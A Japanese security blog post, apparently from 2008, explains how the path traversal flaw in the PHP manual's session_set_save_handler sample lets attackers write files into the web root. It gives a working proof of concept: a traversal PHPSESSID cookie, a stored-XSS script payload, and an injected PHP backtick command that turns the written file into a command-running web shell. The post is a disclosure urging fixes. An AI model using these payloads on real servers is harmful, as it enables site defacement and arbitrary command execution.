2008-08-19 PHP
●[php]session_set_save_handlerのパストラバーサルで任意コマンドの実行が可能
昨日の日記(session_set_save_handlerリファレンスマニュアルのサンプルにパス・トラバーサル脆弱性 )で、PHPの公式リファレンスマニュアルに出ているsession_set_save_handlerサンプルにはパストラバーサル脆弱性があることを報告しましたが、その影響度について書き漏らしていて、影響度を過小に受け取られることに気がつきましたので補足します。
このパストラバーサルは情報漏えいよりは書き込み・破壊の影響の方が現実的というのはその通りなのですが、Web公開領域のファイルを書き換えられるというリスクを報告していなかった。ここで、HTMLやJavaScript、PHPスクリプトを書き込み、実行できるという問題があります。
以下のコード(a.php)で検証してみました。
// session_set_save_handlerのサンプルコード
// 以下は呼び出し部分
session_set_save_handler("open", "close", "read", "write", "destroy", "gc");
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<body>done<body>";
?>
ご覧のように、クエリストリングaの値をそのままセッションに保存しています。非常に単純化していますが、現実のWebアプリケーションを極小化したモデルです。
ここで、Cookie PHPSESSIDの値を以下のようにセットします。b.phpの部分は、このサーバー上に存在するファイル名を指定します。
PHPSESSID=/../../../../../var/www/html/php/b.php
この状態で、以下のURLでa.phpを起動します
http://host-name/php/a.php?a=<script>alert(document.cookie);</script>
セッションデータはb.phpとして格納され、内容は以下のようになります。
a|s:40:"<script>alert(document.cookie);</script>";
すなわち、今後b.phpにアクセスしたユーザは、ブラウザ上でJavaScriptが起動されることになります。
同様にして、PHPのスクリプトを書き込むこともできます。例えば、以下のようにa.phpを呼び出します。
http://host-name/php/a.php?a=<%3Fphp+echo`find`;%3F>
%3Fは、「?」を表します。すなわち、PHPスクリプト中で、バッククォートによりfindコマンドを実行するスクリプトが書き込まれたことになります。攻撃者はこのb.phpにアクセスすることにより、findコマンドを実行でき、同様にして、ターゲットのwebサーバー上で任意のコマンドを実行できることになります。
このように、書き込み可能なパストラバーサルは極めて危険な脆弱性であり、該当するアプリケーションは直ちに対策をとることをお勧めします。